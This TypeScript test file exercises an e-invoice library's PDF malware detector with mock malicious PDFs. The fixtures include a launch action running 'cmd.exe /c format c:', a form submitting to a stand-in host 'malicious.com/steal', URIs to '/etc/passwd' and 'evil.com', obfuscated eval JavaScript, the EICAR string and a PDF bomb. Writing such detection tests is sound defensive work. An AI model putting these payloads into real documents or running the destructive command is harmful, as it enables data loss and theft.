351 lines
11 KiB
TypeScript
351 lines
11 KiB
TypeScript
import { tap } from '@git.zone/tstest/tapbundle';
|
|
import * as plugins from '../plugins.js';
|
|
import { EInvoice } from '../../../ts/index.js';
|
|
import { PerformanceTracker } from '../performance.tracker.js';
|
|
import * as path from 'path';
|
|
|
|
const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
|
|
|
|
tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async (t) => {
|
|
const einvoice = new EInvoice();
|
|
|
|
// Test 1: Detect JavaScript in PDF
|
|
const javascriptDetection = await performanceTracker.measureAsync(
|
|
'javascript-in-pdf-detection',
|
|
async () => {
|
|
// Create a mock PDF with JavaScript content
|
|
const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithJS);
|
|
|
|
return {
|
|
detected: result?.hasJavaScript || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'javascript'
|
|
};
|
|
} catch (error) {
|
|
// If it throws, that's also a valid security response
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'javascript',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(javascriptDetection.detected || javascriptDetection.blocked, 'JavaScript in PDF was detected or blocked');
|
|
|
|
// Test 2: Detect embedded executables
|
|
const embeddedExecutable = await performanceTracker.measureAsync(
|
|
'embedded-executable-detection',
|
|
async () => {
|
|
// Create a mock PDF with embedded EXE
|
|
const pdfWithExe = createMockPDFWithContent(
|
|
'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithExe);
|
|
|
|
return {
|
|
detected: result?.hasExecutable || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'executable'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'executable',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(embeddedExecutable.detected || embeddedExecutable.blocked, 'Embedded executable was detected or blocked');
|
|
|
|
// Test 3: Detect suspicious form actions
|
|
const suspiciousFormActions = await performanceTracker.measureAsync(
|
|
'suspicious-form-actions',
|
|
async () => {
|
|
// Create a mock PDF with form that submits to external URL
|
|
const pdfWithForm = createMockPDFWithContent(
|
|
'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithForm);
|
|
|
|
return {
|
|
detected: result?.hasSuspiciousForm || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'form-action'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'form-action',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(suspiciousFormActions.detected || suspiciousFormActions.blocked, 'Suspicious form actions were detected or blocked');
|
|
|
|
// Test 4: Detect launch actions
|
|
const launchActions = await performanceTracker.measureAsync(
|
|
'launch-action-detection',
|
|
async () => {
|
|
// Create a mock PDF with launch action
|
|
const pdfWithLaunch = createMockPDFWithContent(
|
|
'/OpenAction <</Type /Action /S /Launch /F (cmd.exe) /P (/c format c:)>>'
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithLaunch);
|
|
|
|
return {
|
|
detected: result?.hasLaunchAction || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'launch-action'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'launch-action',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(launchActions.detected || launchActions.blocked, 'Launch actions were detected or blocked');
|
|
|
|
// Test 5: Detect URI actions pointing to malicious sites
|
|
const maliciousURIs = await performanceTracker.measureAsync(
|
|
'malicious-uri-detection',
|
|
async () => {
|
|
const suspiciousURIs = [
|
|
'javascript:void(0)',
|
|
'file:///etc/passwd',
|
|
'http://malware-site.com',
|
|
'ftp://anonymous@evil.com'
|
|
];
|
|
|
|
const results = [];
|
|
|
|
for (const uri of suspiciousURIs) {
|
|
const pdfWithURI = createMockPDFWithContent(
|
|
`/Annots [<</Type /Annot /Subtype /Link /A <</S /URI /URI (${uri})>>>>]`
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithURI);
|
|
results.push({
|
|
uri,
|
|
detected: result?.hasSuspiciousURI || false,
|
|
blocked: result?.blocked || false
|
|
});
|
|
} catch (error) {
|
|
results.push({
|
|
uri,
|
|
detected: true,
|
|
blocked: true,
|
|
error: error.message
|
|
});
|
|
}
|
|
}
|
|
|
|
return results;
|
|
}
|
|
);
|
|
|
|
maliciousURIs.forEach(result => {
|
|
t.ok(result.detected || result.blocked, `Suspicious URI ${result.uri} was detected or blocked`);
|
|
});
|
|
|
|
// Test 6: Detect embedded Flash content
|
|
const flashContent = await performanceTracker.measureAsync(
|
|
'flash-content-detection',
|
|
async () => {
|
|
const pdfWithFlash = createMockPDFWithContent(
|
|
'/Annots [<</Type /Annot /Subtype /RichMedia /RichMediaContent <</Assets <</Names [(malicious.swf)]>>>>>>]'
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithFlash);
|
|
|
|
return {
|
|
detected: result?.hasFlash || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'flash-content'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'flash-content',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(flashContent.detected || flashContent.blocked, 'Flash content was detected or blocked');
|
|
|
|
// Test 7: Detect encrypted/obfuscated content
|
|
const obfuscatedContent = await performanceTracker.measureAsync(
|
|
'obfuscated-content-detection',
|
|
async () => {
|
|
// Create a PDF with obfuscated JavaScript
|
|
const obfuscatedJS = Buffer.from('eval(atob("YWxlcnQoJ21hbGljaW91cycpOw=="))').toString('hex');
|
|
const pdfWithObfuscation = createMockPDFWithContent(
|
|
`/JS <${obfuscatedJS}>`
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithObfuscation);
|
|
|
|
return {
|
|
detected: result?.hasObfuscation || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'obfuscation'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'obfuscation',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(obfuscatedContent.detected || obfuscatedContent.blocked, 'Obfuscated content was detected or blocked');
|
|
|
|
// Test 8: Test EICAR test file
|
|
const eicarTest = await performanceTracker.measureAsync(
|
|
'eicar-test-file-detection',
|
|
async () => {
|
|
// EICAR test string (safe test pattern for antivirus)
|
|
const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
|
|
const pdfWithEicar = createMockPDFWithContent(
|
|
`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfWithEicar);
|
|
|
|
return {
|
|
detected: result?.hasMalwareSignature || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'eicar-test'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'eicar-test',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(eicarTest.detected || eicarTest.blocked, 'EICAR test pattern was detected or blocked');
|
|
|
|
// Test 9: Size-based attacks (PDF bombs)
|
|
const pdfBomb = await performanceTracker.measureAsync(
|
|
'pdf-bomb-detection',
|
|
async () => {
|
|
// Create a mock PDF with recursive references that could explode in size
|
|
const pdfBombContent = createMockPDFWithContent(
|
|
'/Pages <</Type /Pages /Kids [1 0 R 1 0 R 1 0 R 1 0 R 1 0 R] /Count 1000000>>'
|
|
);
|
|
|
|
try {
|
|
const result = await einvoice.validatePDFSecurity(pdfBombContent);
|
|
|
|
return {
|
|
detected: result?.isPDFBomb || false,
|
|
blocked: result?.blocked || false,
|
|
threat: 'pdf-bomb'
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
detected: true,
|
|
blocked: true,
|
|
threat: 'pdf-bomb',
|
|
error: error.message
|
|
};
|
|
}
|
|
}
|
|
);
|
|
|
|
t.ok(pdfBomb.detected || pdfBomb.blocked, 'PDF bomb was detected or blocked');
|
|
|
|
// Test 10: Test with real invoice PDFs from corpus
|
|
const corpusValidation = await performanceTracker.measureAsync(
|
|
'corpus-pdf-validation',
|
|
async () => {
|
|
const corpusPath = path.join(__dirname, '../../assets/corpus');
|
|
const results = {
|
|
clean: 0,
|
|
suspicious: 0,
|
|
errors: 0
|
|
};
|
|
|
|
// Test a few PDFs from corpus (in real scenario, would test more)
|
|
const testPDFs = [
|
|
'ZUGFeRDv2/correct/Facture_DOM_BASICWL.pdf',
|
|
'ZUGFeRDv1/correct/Intarsys/ZUGFeRD_1p0_BASIC_Einfach.pdf'
|
|
];
|
|
|
|
for (const pdfPath of testPDFs) {
|
|
try {
|
|
const fullPath = path.join(corpusPath, pdfPath);
|
|
// In real implementation, would read the file
|
|
const result = await einvoice.validatePDFSecurity(fullPath);
|
|
|
|
if (result?.isClean) {
|
|
results.clean++;
|
|
} else if (result?.hasSuspiciousContent) {
|
|
results.suspicious++;
|
|
}
|
|
} catch (error) {
|
|
results.errors++;
|
|
}
|
|
}
|
|
|
|
return results;
|
|
}
|
|
);
|
|
|
|
t.ok(corpusValidation.clean > 0 || corpusValidation.errors > 0, 'Corpus PDFs were validated');
|
|
t.equal(corpusValidation.suspicious, 0, 'No legitimate invoices marked as suspicious');
|
|
|
|
// Print performance summary
|
|
performanceTracker.printSummary();
|
|
});
|
|
|
|
// Helper function to create mock PDF content
|
|
function createMockPDFWithContent(content: string): Buffer {
|
|
const pdfHeader = '%PDF-1.4\n';
|
|
const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
|
|
const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
|
|
const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
|
|
const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
|
|
|
|
return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
|
|
}
|
|
|
|
// Run the test
|
|
tap.start(); |